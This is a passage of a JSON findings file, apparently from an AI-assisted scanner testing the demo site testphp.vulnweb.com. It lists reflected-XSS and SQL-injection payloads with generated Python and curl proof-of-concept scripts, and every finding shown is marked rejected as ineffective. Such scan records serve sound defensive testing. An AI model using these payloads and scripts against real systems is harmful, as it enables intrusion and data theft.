      "ai_status": "rejected",
      "rejection_reason": "Rejected auth_bypass in q: no proof of execution; negative controls show same behavior (4/4 controls match); AI confirms payload was ineffective (score: 0/100)"
    },
    {
      "id": "e2bffa8e",
      "title": "Reflected Cross-Site Scripting (XSS)",
      "severity": "medium",
      "vulnerability_type": "xss_reflected",
      "cvss_score": 6.1,
      "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
      "cwe_id": "CWE-79",
      "description": "Reflected XSS occurs when user input is immediately returned by a web application in an error message, search result, or any other response that includes some or all of the input provided by the user as part of the request, without that data being made safe to render in the browser.",
      "affected_endpoint": "http://testphp.vulnweb.com/product.php?pic=1&pic=%3Cscript%3Ealert('XSS')%3C/script%3E",
      "parameter": "pic",
      "payload": "<script>alert('XSS')</script>",
      "evidence": "XSS payload in auto-executing context: Payload injects <script> tag | XSS payload in auto-executing context: Payload injects <script> tag | [PROOF] xss_auto_fire: Payload in auto-executing context: Payload injects <script> tag | [CONTROLS] NEGATIVE CONTROL FAILED: 2/4 controls show same behavior as attack (benign, empty) | [AI] The payload was **blocked/filtered**. The XSS script tag `<script>alert('XSS')</script>` does not appear anywhere in the response body - it was either stripped out entirely or the request was processed without reflecting the malicious input, indicating effective XSS protection. | [CONFIDENCE] 0/100 [rejected]",
      "impact": "An attacker can execute arbitrary JavaScript in the victim's browser, potentially stealing session cookies, capturing credentials, or performing actions on behalf of the user.",
      "poc_code": "<!DOCTYPE html>\n<html>\n<head>\n    <title>Reflected XSS Proof of Concept</title>\n    <style>\n        body { font-family: Arial, sans-serif; background: #1a1a2e; color: #eee; padding: 20px; }\n        .info { background: #16213e; padding: 20px; border-left: 4px solid #e94560; margin-bottom: 20px; }\n        h1 { color: #e94560; }\n        pre { background: #0f3460; padding: 15px; border-radius: 4px; overflow-x: auto; white-space: pre-wrap; }\n        a { color: #0fbcf9; }\n        .payload { background: #e94560; color: white; padding: 2px 6px; border-radius: 3px; font-family: monospace; }\n    </style>\n</head>\n<body>\n    <div class=\"info\">\n        <h1>Reflected XSS Proof of Concept</h1>\n        <p><strong>Target:</strong> http://testphp.vulnweb.com/product.php?pic=1&amp;pic=%3Cscript%3Ealert(&#x27;XSS&#x27;)%3C/script%3E</p>\n        <p><strong>Parameter:</strong> <span class=\"payload\">pic</span></p>\n        <p><strong>Payload:</strong> <span class=\"payload\">&lt;script&gt;alert(&#x27;XSS&#x27;)&lt;/script&gt;</span></p>\n        <p><strong>Evidence:</strong> XSS payload in auto-executing context: Payload injects &lt;script&gt; tag | XSS payload in auto-executing context: Payload injects &lt;script&gt; tag | [PROOF] xss_auto_fire: Payload in auto-executing context: Payload injects &lt;script&gt; tag | [CONTROLS] NEGATIVE CONTROL FAILED: 2/4 controls show same behavior as </p>\n    </div>\n\n    <h3>Exploit URL:</h3>\n    <pre><a href=\"http://testphp.vulnweb.com/product.php?pic=%3Cscript%3Ealert%28%27XSS%27%29%3C/script%3E\" target=\"_blank\">http://testphp.vulnweb.com/product.php?pic=%3Cscript%3Ealert%28%27XSS%27%29%3C/script%3E</a></pre>\n\n    <h3>curl Verification:</h3>\n    <pre>curl -s 'http://testphp.vulnweb.com/product.php?pic=%3Cscript%3Ealert%28%27XSS%27%29%3C/script%3E' | grep -i 'script\\|alert\\|onerror\\|onload'</pre>\n\n    <h3>Python Verification:</h3>\n    <pre>\nimport requests\n\nurl = \"http://testphp.vulnweb.com/product.php?pic=1&pic=%3Cscript%3Ealert('XSS')%3C/script%3E\"\nparams = {\"pic\": \"<script>alert('XSS')</script>\"}\n\nresp = requests.get(url, params=params, verify=False)\npayload_str = \"<script>alert('XSS')</script>\"\n\nif payload_str in resp.text:\n    print(f\"[VULNERABLE] Payload reflected in response\")\n    print(f\"Status: {resp.status_code}\")\nelse:\n    print(\"[NOT REFLECTED] Payload not found in response\")\n    </pre>\n</body>\n</html>",
      "remediation": "1. Encode all user input when rendering in HTML context\n2. Use Content-Security-Policy headers\n3. Set HttpOnly flag on sensitive cookies\n4. Use modern frameworks with auto-escaping",
      "references": [],
      "ai_verified": false,
      "confidence": "low",
      "ai_status": "rejected",
      "rejection_reason": "Rejected xss_reflected in pic: negative controls show same behavior (2/4 controls match); AI confirms payload was ineffective (score: 0/100)"
    },
    {
      "id": "e2bffa8e",
      "title": "Reflected Cross-Site Scripting (XSS)",
      "severity": "medium",
      "vulnerability_type": "xss_reflected",
      "cvss_score": 6.1,
      "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
      "cwe_id": "CWE-79",
      "description": "Reflected XSS occurs when user input is immediately returned by a web application in an error message, search result, or any other response that includes some or all of the input provided by the user as part of the request, without that data being made safe to render in the browser.",
      "affected_endpoint": "http://testphp.vulnweb.com/product.php?pic=1&pic=%3Cimg+src%3Dx+onerror%3Dalert('XSS')%3E",
      "parameter": "pic",
      "payload": "<img src=x onerror=alert('XSS')>",
      "evidence": "XSS payload in auto-executing context: Payload injects <img> with auto-firing event(s): onerror | XSS payload in auto-executing context: Payload injects <img> with auto-firing event(s): onerror | [PROOF] xss_auto_fire: Payload in auto-executing context: Payload injects <img> with auto-firing event(s): onerror | [CONTROLS] NEGATIVE CONTROL FAILED: 2/4 controls show same behavior as attack (benign, empty) | [AI] The payload was **blocked/filtered**. The XSS payload `<img src=x onerror=alert('XSS')>` does not appear anywhere in the response body, indicating the server either stripped it entirely or rejected the request containing it, preventing any execution. | [CONFIDENCE] 0/100 [rejected]",
      "impact": "An attacker can execute arbitrary JavaScript in the victim's browser, potentially stealing session cookies, capturing credentials, or performing actions on behalf of the user.",
      "poc_code": "<!DOCTYPE html>\n<html>\n<head>\n    <title>Reflected XSS Proof of Concept</title>\n    <style>\n        body { font-family: Arial, sans-serif; background: #1a1a2e; color: #eee; padding: 20px; }\n        .info { background: #16213e; padding: 20px; border-left: 4px solid #e94560; margin-bottom: 20px; }\n        h1 { color: #e94560; }\n        pre { background: #0f3460; padding: 15px; border-radius: 4px; overflow-x: auto; white-space: pre-wrap; }\n        a { color: #0fbcf9; }\n        .payload { background: #e94560; color: white; padding: 2px 6px; border-radius: 3px; font-family: monospace; }\n    </style>\n</head>\n<body>\n    <div class=\"info\">\n        <h1>Reflected XSS Proof of Concept</h1>\n        <p><strong>Target:</strong> http://testphp.vulnweb.com/product.php?pic=1&amp;pic=%3Cimg+src%3Dx+onerror%3Dalert(&#x27;XSS&#x27;)%3E</p>\n        <p><strong>Parameter:</strong> <span class=\"payload\">pic</span></p>\n        <p><strong>Payload:</strong> <span class=\"payload\">&lt;img src=x onerror=alert(&#x27;XSS&#x27;)&gt;</span></p>\n        <p><strong>Evidence:</strong> XSS payload in auto-executing context: Payload injects &lt;img&gt; with auto-firing event(s): onerror | XSS payload in auto-executing context: Payload injects &lt;img&gt; with auto-firing event(s): onerror | [PROOF] xss_auto_fire: Payload in auto-executing context: Payload injects &lt;img&gt; with auto-firing event(s</p>\n    </div>\n\n    <h3>Exploit URL:</h3>\n    <pre><a href=\"http://testphp.vulnweb.com/product.php?pic=%3Cimg%20src%3Dx%20onerror%3Dalert%28%27XSS%27%29%3E\" target=\"_blank\">http://testphp.vulnweb.com/product.php?pic=%3Cimg%20src%3Dx%20onerror%3Dalert%28%27XSS%27%29%3E</a></pre>\n\n    <h3>curl Verification:</h3>\n    <pre>curl -s 'http://testphp.vulnweb.com/product.php?pic=%3Cimg%20src%3Dx%20onerror%3Dalert%28%27XSS%27%29%3E' | grep -i 'script\\|alert\\|onerror\\|onload'</pre>\n\n    <h3>Python Verification:</h3>\n    <pre>\nimport requests\n\nurl = \"http://testphp.vulnweb.com/product.php?pic=1&pic=%3Cimg+src%3Dx+onerror%3Dalert('XSS')%3E\"\nparams = {\"pic\": \"<img src=x onerror=alert('XSS')>\"}\n\nresp = requests.get(url, params=params, verify=False)\npayload_str = \"<img src=x onerror=alert('XSS')>\"\n\nif payload_str in resp.text:\n    print(f\"[VULNERABLE] Payload reflected in response\")\n    print(f\"Status: {resp.status_code}\")\nelse:\n    print(\"[NOT REFLECTED] Payload not found in response\")\n    </pre>\n</body>\n</html>",
      "remediation": "1. Encode all user input when rendering in HTML context\n2. Use Content-Security-Policy headers\n3. Set HttpOnly flag on sensitive cookies\n4. Use modern frameworks with auto-escaping",
      "references": [],
      "ai_verified": false,
      "confidence": "low",
      "ai_status": "rejected",
      "rejection_reason": "Rejected xss_reflected in pic: negative controls show same behavior (2/4 controls match); AI confirms payload was ineffective (score: 0/100)"
    },
    {
      "id": "e2bffa8e",
      "title": "Reflected Cross-Site Scripting (XSS)",
      "severity": "medium",
      "vulnerability_type": "xss_reflected",
      "cvss_score": 6.1,
      "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
      "cwe_id": "CWE-79",
      "description": "Reflected XSS occurs when user input is immediately returned by a web application in an error message, search result, or any other response that includes some or all of the input provided by the user as part of the request, without that data being made safe to render in the browser.",
      "affected_endpoint": "http://testphp.vulnweb.com/product.php?pic=1&pic=%3Csvg+onload%3Dalert('XSS')%3E",
      "parameter": "pic",
      "payload": "<svg onload=alert('XSS')>",
      "evidence": "XSS payload in auto-executing context: Payload injects <svg> with auto-firing event(s): onload | XSS payload in auto-executing context: Payload injects <svg> with auto-firing event(s): onload | [PROOF] xss_auto_fire: Payload in auto-executing context: Payload injects <svg> with auto-firing event(s): onload | [CONTROLS] NEGATIVE CONTROL FAILED: 2/4 controls show same behavior as attack (benign, empty) | [AI] The payload was **blocked/filtered**. The XSS payload `<svg onload=alert('XSS')>` does not appear anywhere in the response HTML - it was completely removed or filtered out by the application, so there is no execution and no XSS vulnerability confirmed. | [CONFIDENCE] 0/100 [rejected]",
      "impact": "An attacker can execute arbitrary JavaScript in the victim's browser, potentially stealing session cookies, capturing credentials, or performing actions on behalf of the user.",
      "poc_code": "<!DOCTYPE html>\n<html>\n<head>\n    <title>Reflected XSS Proof of Concept</title>\n    <style>\n        body { font-family: Arial, sans-serif; background: #1a1a2e; color: #eee; padding: 20px; }\n        .info { background: #16213e; padding: 20px; border-left: 4px solid #e94560; margin-bottom: 20px; }\n        h1 { color: #e94560; }\n        pre { background: #0f3460; padding: 15px; border-radius: 4px; overflow-x: auto; white-space: pre-wrap; }\n        a { color: #0fbcf9; }\n        .payload { background: #e94560; color: white; padding: 2px 6px; border-radius: 3px; font-family: monospace; }\n    </style>\n</head>\n<body>\n    <div class=\"info\">\n        <h1>Reflected XSS Proof of Concept</h1>\n        <p><strong>Target:</strong> http://testphp.vulnweb.com/product.php?pic=1&amp;pic=%3Csvg+onload%3Dalert(&#x27;XSS&#x27;)%3E</p>\n        <p><strong>Parameter:</strong> <span class=\"payload\">pic</span></p>\n        <p><strong>Payload:</strong> <span class=\"payload\">&lt;svg onload=alert(&#x27;XSS&#x27;)&gt;</span></p>\n        <p><strong>Evidence:</strong> XSS payload in auto-executing context: Payload injects &lt;svg&gt; with auto-firing event(s): onload | XSS payload in auto-executing context: Payload injects &lt;svg&gt; with auto-firing event(s): onload | [PROOF] xss_auto_fire: Payload in auto-executing context: Payload injects &lt;svg&gt; with auto-firing event(s):</p>\n    </div>\n\n    <h3>Exploit URL:</h3>\n    <pre><a href=\"http://testphp.vulnweb.com/product.php?pic=%3Csvg%20onload%3Dalert%28%27XSS%27%29%3E\" target=\"_blank\">http://testphp.vulnweb.com/product.php?pic=%3Csvg%20onload%3Dalert%28%27XSS%27%29%3E</a></pre>\n\n    <h3>curl Verification:</h3>\n    <pre>curl -s 'http://testphp.vulnweb.com/product.php?pic=%3Csvg%20onload%3Dalert%28%27XSS%27%29%3E' | grep -i 'script\\|alert\\|onerror\\|onload'</pre>\n\n    <h3>Python Verification:</h3>\n    <pre>\nimport requests\n\nurl = \"http://testphp.vulnweb.com/product.php?pic=1&pic=%3Csvg+onload%3Dalert('XSS')%3E\"\nparams = {\"pic\": \"<svg onload=alert('XSS')>\"}\n\nresp = requests.get(url, params=params, verify=False)\npayload_str = \"<svg onload=alert('XSS')>\"\n\nif payload_str in resp.text:\n    print(f\"[VULNERABLE] Payload reflected in response\")\n    print(f\"Status: {resp.status_code}\")\nelse:\n    print(\"[NOT REFLECTED] Payload not found in response\")\n    </pre>\n</body>\n</html>",
      "remediation": "1. Encode all user input when rendering in HTML context\n2. Use Content-Security-Policy headers\n3. Set HttpOnly flag on sensitive cookies\n4. Use modern frameworks with auto-escaping",
      "references": [],
      "ai_verified": false,
      "confidence": "low",
      "ai_status": "rejected",
      "rejection_reason": "Rejected xss_reflected in pic: negative controls show same behavior (2/4 controls match); AI confirms payload was ineffective (score: 0/100)"
    },
    {
      "id": "4a6c1588",
      "title": "Error-based SQL Injection",
      "severity": "critical",
      "vulnerability_type": "sqli_error",
      "cvss_score": 9.8,
      "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "cwe_id": "CWE-89",
      "description": "SQL injection vulnerability that reveals database errors containing query information, allowing attackers to extract data through error messages.",
      "affected_endpoint": "http://testphp.vulnweb.com/product.php?pic=1&pic='",
      "parameter": "pic",
      "payload": "'",
      "evidence": "SQL error detected: SQL syntax; check the manual that corresponds to your MySQL | SQL error induced by payload: sql syntax | [PROOF] db_error: SQL error induced: sql syntax | [CONTROLS] NEGATIVE CONTROL FAILED: 2/4 controls show same behavior as attack (benign, empty) | [AI] The payload was **ignored/filtered**. The response shows a normal 200 status with standard HTML content and no database error messages - there are no SQL syntax errors, database-specific error strings, or any indication that the single quote caused SQL parsing issues. | [CONFIDENCE] 0/100 [rejected]",
      "impact": "Complete database compromise including data theft, modification, or deletion. May lead to remote code execution on the database server.",
      "poc_code": "#!/usr/bin/env python3\n\"\"\"SQL Injection Proof of Concept\nTarget: http://testphp.vulnweb.com/product.php?pic=1&pic='\nParameter: pic\nPayload: '\nEvidence: SQL error detected: SQL syntax; check the manual that corresponds to your MySQL | SQL error induced by payload: sql syntax | [PROOF] db_error: SQL error induced: sql syntax | [CONTROLS] NEGATIVE CONTR\n\"\"\"\nimport requests\nimport urllib3\nurllib3.disable_warnings()\n\nTARGET = \"http://testphp.vulnweb.com/product.php?pic=1&pic='\"\nPARAM = \"pic\"\nPAYLOAD = \"'\"\n\ndef test_sqli():\n    print(f\"[*] Testing SQL Injection on {TARGET}\")\n    print(f\"[*] Parameter: {PARAM}\")\n    print(f\"[*] Payload: {PAYLOAD}\")\n    print()\n\n    # Test 1: Original payload\n    params = {PARAM: PAYLOAD}\n    resp = requests.get(TARGET, params=params, verify=False, timeout=15)\n    print(f\"[*] Response status: {resp.status_code}\")\n    print(f\"[*] Response length: {len(resp.text)}\")\n\n    # Check for SQL error indicators\n    sql_errors = [\n        \"SQL syntax\", \"mysql_\", \"ORA-\", \"PostgreSQL\", \"sqlite3\",\n        \"ODBC\", \"syntax error\", \"unclosed quotation\", \"unterminated\",\n        \"Microsoft SQL\", \"Warning: mysql\", \"SQLSTATE\"\n    ]\n    for error in sql_errors:\n        if error.lower() in resp.text.lower():\n            print(f\"[!] SQL Error detected: {error}\")\n\n    # Test 2: Boolean-based detection\n    print(\"\\n[*] Boolean-based test:\")\n    true_payload = PAYLOAD.replace(\"'\", \"' OR '1'='1\")\n    false_payload = PAYLOAD.replace(\"'\", \"' OR '1'='2\")\n    r_true = requests.get(TARGET, params={PARAM: true_payload}, verify=False, timeout=15)\n    r_false = requests.get(TARGET, params={PARAM: false_payload}, verify=False, timeout=15)\n    if len(r_true.text) != len(r_false.text):\n        print(f\"[!] Boolean difference detected: true={len(r_true.text)} vs false={len(r_false.text)}\")\n    else:\n        print(f\"[*] No boolean difference (both {len(r_true.text)} bytes)\")\n\n    # Test 3: Time-based detection\n    import time\n    print(\"\\n[*] Time-based test:\")\n    time_payload = f\"{PARAM}' OR SLEEP(3)-- -\"\n    start = time.time()\n    try:\n        requests.get(TARGET, params={PARAM: time_payload}, verify=False, timeout=15)\n    except requests.Timeout:\n        pass\n    elapsed = time.time() - start\n    if elapsed >= 2.5:\n        print(f\"[!] Time delay detected: {elapsed:.1f}s (possible blind SQLi)\")\n    else:\n        print(f\"[*] No significant delay: {elapsed:.1f}s\")\n\nif __name__ == \"__main__\":\n    test_sqli()\n\n# curl equivalent:\n# curl -v 'http://testphp.vulnweb.com/product.php?pic=1&pic='\\''?pic='\\'''\n",
      "remediation": "1. Use parameterized queries/prepared statements\n2. Implement input validation with whitelist approach\n3. Apply least privilege principle for database accounts\n4. Disable detailed error messages in production",
      "references": [],
      "ai_verified": false,
      "confidence": "low",
      "ai_status": "rejected",
      "rejection_reason": "Rejected sqli_error in pic: negative controls show same behavior (2/4 controls match); AI confirms payload was ineffective (score: 0/100)"
    },
    {
      "id": "4a6c1588",
      "title": "Error-based SQL Injection",
      "severity": "critical",
      "vulnerability_type": "sqli_error",
      "cvss_score": 9.8,
      "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "cwe_id": "CWE-89",
      "description": "SQL injection vulnerability that reveals database errors containing query information, allowing attackers to extract data through error messages.",
      "affected_endpoint": "http://testphp.vulnweb.com/product.php?pic=1&pic=%22",
      "parameter": "pic",
      "payload": "\"",
      "evidence": "SQL error detected: SQL syntax; check the manual that corresponds to your MySQL | SQL error induced by payload: sql syntax | [PROOF] db_error: SQL error induced: sql syntax | [CONTROLS] NEGATIVE CONTROL FAILED: 2/4 controls show same behavior as attack (benign, empty) | [AI] The payload was **ignored/filtered**. The response shows a normal 200 status with standard HTML content for a \"picture details\" page, containing no database error messages or SQL syntax errors that would indicate the payload was processed by the database engine. | [CONFIDENCE] 0/100 [rejected]",
      "impact": "Complete database compromise including data theft, modification, or deletion. May lead to remote code execution on the database server.",
      "poc_code": "#!/usr/bin/env python3\n\"\"\"SQL Injection Proof of Concept\nTarget: http://testphp.vulnweb.com/product.php?pic=1&pic=%22\nParameter: pic\nPayload: \"\nEvidence: SQL error detected: SQL syntax; check the manual that corresponds to your MySQL | SQL error induced by payload: sql syntax | [PROOF] db_error: SQL error induced: sql syntax | [CONTROLS] NEGATIVE CONTR\n\"\"\"\nimport requests\nimport urllib3\nurllib3.disable_warnings()\n\nTARGET = \"http://testphp.vulnweb.com/product.php?pic=1&pic=%22\"\nPARAM = \"pic\"\nPAYLOAD = \"\\\"\"\n\ndef test_sqli():\n    print(f\"[*] Testing SQL Injection on {TARGET}\")\n    print(f\"[*] Parameter: {PARAM}\")\n    print(f\"[*] Payload: {PAYLOAD}\")\n    print()\n\n    # Test 1: Original payload\n    params = {PARAM: PAYLOAD}\n    resp = requests.get(TARGET, params=params, verify=False, timeout=15)\n    print(f\"[*] Response status: {resp.status_code}\")\n    print(f\"[*] Response length: {len(resp.text)}\")\n\n    # Check for SQL error indicators\n    sql_errors = [\n        \"SQL syntax\", \"mysql_\", \"ORA-\", \"PostgreSQL\", \"sqlite3\",\n        \"ODBC\", \"syntax error\", \"unclosed quotation\", \"unterminated\",\n        \"Microsoft SQL\", \"Warning: mysql\", \"SQLSTATE\"\n    ]\n    for error in sql_errors:\n        if error.lower() in resp.text.lower():\n            print(f\"[!] SQL Error detected: {error}\")\n\n    # Test 2: Boolean-based detection\n    print(\"\\n[*] Boolean-based test:\")\n    true_payload = PAYLOAD.replace(\"'\", \"' OR '1'='1\")\n    false_payload = PAYLOAD.replace(\"'\", \"' OR '1'='2\")\n    r_true = requests.get(TARGET, params={PARAM: true_payload}, verify=False, timeout=15)\n    r_false = requests.get(TARGET, params={PARAM: false_payload}, verify=False, timeout=15)\n    if len(r_true.text) != len(r_false.text):\n        print(f\"[!] Boolean difference detected: true={len(r_true.text)} vs false={len(r_false.text)}\")\n    else:\n        print(f\"[*] No boolean difference (both {len(r_true.text)} bytes)\")\n\n    # Test 3: Time-based detection\n    import time\n    print(\"\\n[*] Time-based test:\")\n    time_payload = f\"{PARAM}' OR SLEEP(3)-- -\"\n    start = time.time()\n    try:\n        requests.get(TARGET, params={PARAM: time_payload}, verify=False, timeout=15)\n    except requests.Timeout:\n        pass\n    elapsed = time.time() - start\n    if elapsed >= 2.5:\n        print(f\"[!] Time delay detected: {elapsed:.1f}s (possible blind SQLi)\")\n    else:\n        print(f\"[*] No significant delay: {elapsed:.1f}s\")\n\nif __name__ == \"__main__\":\n    test_sqli()\n\n# curl equivalent:\n# curl -v 'http://testphp.vulnweb.com/product.php?pic=1&pic=%22?pic=\"'\n",
      "remediation": "1. Use parameterized queries/prepared statements\n2. Implement input validation with whitelist approach\n3. Apply least privilege principle for database accounts\n4. Disable detailed error messages in production",
      "references": [],
      "ai_verified": false,
      "confidence": "low",
      "ai_status": "rejected",
      "rejection_reason": "Rejected sqli_error in pic: negative controls show same behavior (2/4 controls match); AI confirms payload was ineffective (score: 0/100)"
    },
    {
      "id": "4a6c1588",
      "title": "Error-based SQL Injection",
      "severity": "critical",
      "vulnerability_type": "sqli_error",
      "cvss_score": 9.8,
      "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "cwe_id": "CWE-89",
      "description": "SQL injection vulnerability that reveals database errors containing query information, allowing attackers to extract data through error messages.",
      "affected_endpoint": "http://testphp.vulnweb.com/product.php?pic=1&pic='+OR+'1'%3D'1",
      "parameter": "pic",
      "payload": "' OR '1'='1",
      "evidence": "SQL error detected: SQL syntax; check the manual that corresponds to your MySQL | SQL error induced by payload: sql syntax | [PROOF] db_error: SQL error induced: sql syntax | [CONTROLS] NEGATIVE CONTROL FAILED: 2/4 controls show same behavior as attack (benign, empty) | [AI] The payload was **ignored/filtered**. The response shows a normal 200 status with standard HTML content for a \"picture details\" page - there are no database error messages, SQL syntax errors, or any indication that the SQL injection payload was processed by the database layer. | [CONFIDENCE] 0/100 [rejected]",
      "impact": "Complete database compromise including data theft, modification, or deletion. May lead to remote code execution on the database server.",
      "poc_code": "#!/usr/bin/env python3\n\"\"\"SQL Injection Proof of Concept\nTarget: http://testphp.vulnweb.com/product.php?pic=1&pic='+OR+'1'%3D'1\nParameter: pic\nPayload: ' OR '1'='1\nEvidence: SQL error detected: SQL syntax; check the manual that corresponds to your MySQL | SQL error induced by payload: sql syntax | [PROOF] db_error: SQL error induced: sql syntax | [CONTROLS] NEGATIVE CONTR\n\"\"\"\nimport requests\nimport urllib3\nurllib3.disable_warnings()\n\nTARGET = \"http://testphp.vulnweb.com/product.php?pic=1&pic='+OR+'1'%3D'1\"\nPARAM = \"pic\"\nPAYLOAD = \"' OR '1'='1\"\n\ndef test_sqli():\n    print(f\"[*] Testing SQL Injection on {TARGET}\")\n    print(f\"[*] Parameter: {PARAM}\")\n    print(f\"[*] Payload: {PAYLOAD}\")\n    print()\n\n    # Test 1: Original payload\n    params = {PARAM: PAYLOAD}\n    resp = requests.get(TARGET, params=params, verify=False, timeout=15)\n    print(f\"[*] Response status: {resp.status_code}\")\n    print(f\"[*] Response length: {len(resp.text)}\")\n\n    # Check for SQL error indicators\n    sql_errors = [\n        \"SQL syntax\", \"mysql_\", \"ORA-\", \"PostgreSQL\", \"sqlite3\",\n        \"ODBC\", \"syntax error\", \"unclosed quotation\", \"unterminated\",\n        \"Microsoft SQL\", \"Warning: mysql\", \"SQLSTATE\"\n    ]\n    for error in sql_errors:\n        if error.lower() in resp.text.lower():\n            print(f\"[!] SQL Error detected: {error}\")\n\n    # Test 2: Boolean-based detection\n    print(\"\\n[*] Boolean-based test:\")\n    true_payload = PAYLOAD.replace(\"'\", \"' OR '1'='1\")\n    false_payload = PAYLOAD.replace(\"'\", \"' OR '1'='2\")\n    r_true = requests.get(TARGET, params={PARAM: true_payload}, verify=False, timeout=15)\n    r_false = requests.get(TARGET, params={PARAM: false_payload}, verify=False, timeout=15)\n    if len(r_true.text) != len(r_false.text):\n        print(f\"[!] Boolean difference detected: true={len(r_true.text)} vs false={len(r_false.text)}\")\n    else:\n        print(f\"[*] No boolean difference (both {len(r_true.text)} bytes)\")\n\n    # Test 3: Time-based detection\n    import time\n    print(\"\\n[*] Time-based test:\")\n    time_payload = f\"{PARAM}' OR SLEEP(3)-- -\"\n    start = time.time()\n    try:\n        requests.get(TARGET, params={PARAM: time_payload}, verify=False, timeout=15)\n    except requests.Timeout:\n        pass\n    elapsed = time.time() - start\n    if elapsed >= 2.5:\n        print(f\"[!] Time delay detected: {elapsed:.1f}s (possible blind SQLi)\")\n    else:\n        print(f\"[*] No significant delay: {elapsed:.1f}s\")\n\nif __name__ == \"__main__\":\n    test_sqli()\n\n# curl equivalent:\n# curl -v 'http://testphp.vulnweb.com/product.php?pic=1&pic='\\''+OR+'\\''1'\\''%3D'\\''1?pic='\\'' OR '\\''1'\\''='\\''1'\n",
      "remediation": "1. Use parameterized queries/prepared statements\n2. Implement input validation with whitelist approach\n3. Apply least privilege principle for database accounts\n4. Disable detailed error messages in production",
      "references": [],
      "ai_verified": false,
      "confidence": "low",
      "ai_status": "rejected",
      "rejection_reason": "Rejected sqli_error in pic: negative controls show same behavior (2/4 controls match); AI confirms payload was ineffective (score: 0/100)"
    },
    {
      "id": "5bda7a8e",
      "title": "Blind SQL Injection (Boolean-based)",
      "severity": "high",
      "vulnerability_type": "sqli_blind",
      "cvss_score": 7.5,
      "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
      "cwe_id": "CWE-89",
      "description": "SQL injection where results are inferred from application behavior changes rather than direct output.",
      "affected_endpoint": "http://testphp.vulnweb.com/product.php?pic=1&pic='+AND+1%3D1--",
      "parameter": "pic",
      "payload": "' AND 1=1--",
      "evidence": "SQL error induced by payload: sql syntax | [PROOF] db_error: SQL error induced: sql syntax | [CONTROLS] NEGATIVE CONTROL FAILED: 2/4 controls show same behavior as attack (benign, empty) | [AI] The payload was **ignored/filtered**. The response shows a normal 200 status with standard HTML content for a \"picture details\" page, indicating the SQL injection payload `' AND 1=1--` did not cause any database error, behavioral change, or execution - it was likely sanitized or the parameter isn't  | [CONFIDENCE] 0/100 [rejected]",
      "impact": "Slower but complete data extraction is possible. Can lead to full database compromise.",
      "poc_code": "#!/usr/bin/env python3\n\"\"\"SQL Injection Proof of Concept\nTarget: http://testphp.vulnweb.com/product.php?pic=1&pic='+AND+1%3D1--\nParameter: pic\nPayload: ' AND 1=1--\nEvidence: SQL error induced by payload: sql syntax | [PROOF] db_error: SQL error induced: sql syntax | [CONTROLS] NEGATIVE CONTROL FAILED: 2/4 controls show same behavior as attack (benign, empty) | [AI] The pa\n\"\"\"\nimport requests\nimport urllib3\nurllib3.disable_warnings()\n\nTARGET = \"http://testphp.vulnweb.com/product.php?pic=1&pic='+AND+1%3D1--\"\nPARAM = \"pic\"\nPAYLOAD = \"' AND 1=1--\"\n\ndef test_sqli():\n    print(f\"[*] Testing SQL Injection on {TARGET}\")\n    print(f\"[*] Parameter: {PARAM}\")\n    print(f\"[*] Payload: {PAYLOAD}\")\n    print()\n\n    # Test 1: Original payload\n    params = {PARAM: PAYLOAD}\n    resp = requests.get(TARGET, params=params, verify=False, timeout=15)\n    print(f\"[*] Response status: {resp.status_code}\")\n    print(f\"[*] Response length: {len(resp.text)}\")\n\n    # Check for SQL error indicators\n    sql_errors = [\n        \"SQL syntax\", \"mysql_\", \"ORA-\", \"PostgreSQL\", \"sqlite3\",\n        \"ODBC\", \"syntax error\", \"unclosed quotation\", \"unterminated\",\n        \"Microsoft SQL\", \"Warning: mysql\", \"SQLSTATE\"\n    ]\n    for error in sql_errors:\n        if error.lower() in resp.text.lower():\n            print(f\"[!] SQL Error detected: {error}\")\n\n    # Test 2: Boolean-based detection\n    print(\"\\n[*] Boolean-based test:\")\n    true_payload = PAYLOAD.replace(\"'\", \"' OR '1'='1\")\n    false_payload = PAYLOAD.replace(\"'\", \"' OR '1'='2\")\n    r_true = requests.get(TARGET, params={PARAM: true_payload}, verify=False, timeout=15)\n    r_false = requests.get(TARGET, params={PARAM: false_payload}, verify=False, timeout=15)\n    if len(r_true.text) != len(r_false.text):\n        print(f\"[!] Boolean difference detected: true={len(r_true.text)} vs false={len(r_false.text)}\")\n    else:\n        print(f\"[*] No boolean difference (both {len(r_true.text)} bytes)\")\n\n    # Test 3: Time-based detection\n    import time\n    print(\"\\n[*] Time-based test:\")\n    time_payload = f\"{PARAM}' OR SLEEP(3)-- -\"\n    start = time.time()\n    try:\n        requests.get(TARGET, params={PARAM: time_payload}, verify=False, timeout=15)\n    except requests.Timeout:\n        pass\n    elapsed = time.time() - start\n    if elapsed >= 2.5:\n        print(f\"[!] Time delay detected: {elapsed:.1f}s (possible blind SQLi)\")\n    else:\n        print(f\"[*] No significant delay: {elapsed:.1f}s\")\n\nif __name__ == \"__main__\":\n    test_sqli()\n\n# curl equivalent:\n# curl -v 'http://testphp.vulnweb.com/product.php?pic=1&pic='\\''+AND+1%3D1--?pic='\\'' AND 1=1--'\n",
      "remediation": "1. Use parameterized queries\n2. Implement WAF rules for SQL injection patterns\n3. Use connection pooling with timeout limits\n4. Implement query logging and monitoring",
      "references": [],
      "ai_verified": false,
      "confidence": "low",
      "ai_status": "rejected",
      "rejection_reason": "Rejected sqli_blind in pic: negative controls show same behavior (2/4 controls match); AI confirms payload was ineffective (score: 0/100)"
    },
    {
      "id": "5bda7a8e",
      "title": "Blind SQL Injection (Boolean-based)",
      "severity": "high",
      "vulnerability_type": "sqli_blind",
      "cvss_score": 7.5,
      "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
      "cwe_id": "CWE-89",
      "description": "SQL injection where results are inferred from application behavior changes rather than direct output.",
      "affected_endpoint": "http://testphp.vulnweb.com/product.php?pic=1&pic='+AND+1%3D2--",
      "parameter": "pic",
